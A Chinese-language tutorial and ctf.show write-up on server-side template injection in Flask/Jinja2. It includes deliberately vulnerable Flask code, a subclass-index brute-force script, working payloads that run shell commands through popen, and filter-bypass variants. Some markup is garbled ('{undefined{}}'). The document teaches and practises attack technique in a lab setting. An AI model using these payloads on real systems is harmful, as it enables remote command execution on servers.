SSTI 简介:
与sql注入类似:都是因为对输入的字符串控制不足,把输入的字符串当成命令执行。
SSTI就是服务器端模板注入(Server-Side Template Injection),SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。
sql注入是从用户获得一个输入,然后后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要
的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。
SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入
有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站
处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当
这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
具体分析:
```python
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
``
render_template_string:
就是把HTML涉及的页面与用户数据分离开,这样方便展示和管理。当用户输入自己的数据信息,HTML
页面可以根据用户自身的信息来展示页面,因此才有了这个函数的使用。
渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{undefined{}}在Jinja2中作为变量包裹
标识符,Jinja2在渲染的时候会把{undefined{}}包裹的内容当做变量解析替换。比如{undefined{1+1}}
会被解析成2。因此才有了现在的模板注入漏洞。往往变量我们使用{undefined{这里是内容}}。正因为
{undefined{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞
flask的搭建:
使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应
的URL上,这句话相当于路由,一个路由跟随一个函数,如
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
return "<h2 style='color:red'>123</h2>"
if __name__ == "__main__":
app.run()
@app.route("/") 改为 /test
现在访问这个网址才有结果:http://127.0.0.1:5000/test
@app.route(“/”)模块的作用自然不言而喻
再比如:
from flask import Flask
app = Flask(__name__)
@app.route("/hello/<username>")
def hello_user(username):
return "user:%s" % username
if __name__ == "__main__":
app.run()
渲染模板
可以使用 render_template() 方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。
首先要搞清楚,模板渲染体系,render_template函数渲染的是templates中的模板,所谓模板是我们自
己写的html,里面的参数需要我们根据每个用户需求传入动态变量。
├──app.py
├── static
│ └── style.css
└── templates
└── index.html
我们写一个index.html文件写templates文件夹中。
<html>
<head>
<title>{{title}} - 小猪佩奇</title>
</head>
<body>
<h1>Hello, {{user.name}}!</h1>
</body>
</html>
里面有两个参数需要我们渲染,user.name,以及title
我们在app.py文件里进行渲染。
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
@app.route('/index')
def index():
user = {'name': '小猪佩奇'}
return render_template('index.html', title='Home', user=user)
if __name__ == "__main__":
app.run()
flask实战
漏洞代码:
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
我们来简化一下上面的代码,以此来看看漏洞出在上面地方:
<html>
<head>
<title>{{title}} - 小猪佩奇</title>
</head>
<body>
<h1>Hello, {{user.name}}!</h1>
</body>
</html>
代码中有两个参数需要我们渲染:user.name 与 title
将其放入 app.run
from flask import Flask
app = Flask(__name__)
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
return
render_template("index.html",title='Home',user=request.args.get("key"))
if __name__ == "__main__":
app.run()
也就是说,两种代码的形式是,一种当字符串来渲染并且使用了%(request.url),另一种规范使用.
本地环境进一步分析:
检测是否存在ssti
在url后面,或是参数中添加 {{ 6*6 }} ,查看返回的页面中是否有 36
SSTI魔术语句:
__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
注入思路:
1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类(<class 'object'>)
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell
对象→类→基本类→子类→__init__方法→__globals__属性→__builtins__属性→eval函数
ctf-show 演练
web 361 通过本例来详细了解一下 魔术语句如何使用。
构造?name={{7*9}}
返回 63
说明存在ssti 漏洞
获得字符串的type实例
?name={{"".__class__}}
获得其父类
?name={{"".__class__.__mro__}}
获得object类的子类,但发现这个__subclasses__属性是个方法
?name={{"".__class__.__mro__[1].__subclasses__}}
使用__subclasses__()方法,获得object类的子类
?name={{"".__class__.__mro__[1].__subclasses__()}}
提供 os._wrap_close 中的 popen 函数
# 这种方法的缺点在于需要找到 类 的索引
现在我们要找到类得索引:
import requests
for num in range(500):
try:
url = "http://2f0bf06a-c779-43e1-9d38-8bdc8c01c24c.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__['popen']}}"
res = requests.get(url=url).text
if 'popen' in res:
print(num)
except:
pass
索引值为 132
web 362
存在,但是题目说了,开始过滤:
发现除了1,7其余数字被过滤。
全角数字来绕过:
只是考绕过:索引值 132
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
web 363
发现存在,且跟上一题被过滤的对象不同。
.
[
]
_
{
}
{{
}}
{%
%}
{%if
{%endif
{%print(
1
2
3
4
5
6
7
8
9
0
'
"
+
%2B
%2b
join()
u
os
popen
importlib
linecache
subprocess
|attr()
request
args
value
cookie
__getitem__()
__class__
__base__
__bases__
__mro__
__subclasses__()
__builtins__
__init__
__globals__
__import__
__dic__
__getattribute__()
__getitem__()
__str__()
lipsum
current_app
burp测一下过滤点。
在这里插入图片描述
发现单双引号被过滤。可以用request来绕过:
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
替换后:
?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd).read()}}&popen=popen&cmd=cat /flag
request:
request.args.ben //get
request.form.key //post
request.cookie.k1 // cookie
web 364
发现args被过滤了,‘’ '也一样:
可以采用cookies:
?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookie.popen](request.cookie.cmd).read()}
传参popen=popen;cmd=cat /flag
web 365
字典跑一遍:
发现比之前多了[,’ " [ args 被过滤了
原始:
{{''.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}
解决[,__getitem__绕过中括号[过滤:
{{{}.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen('ls /').read()}}
解决 args
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}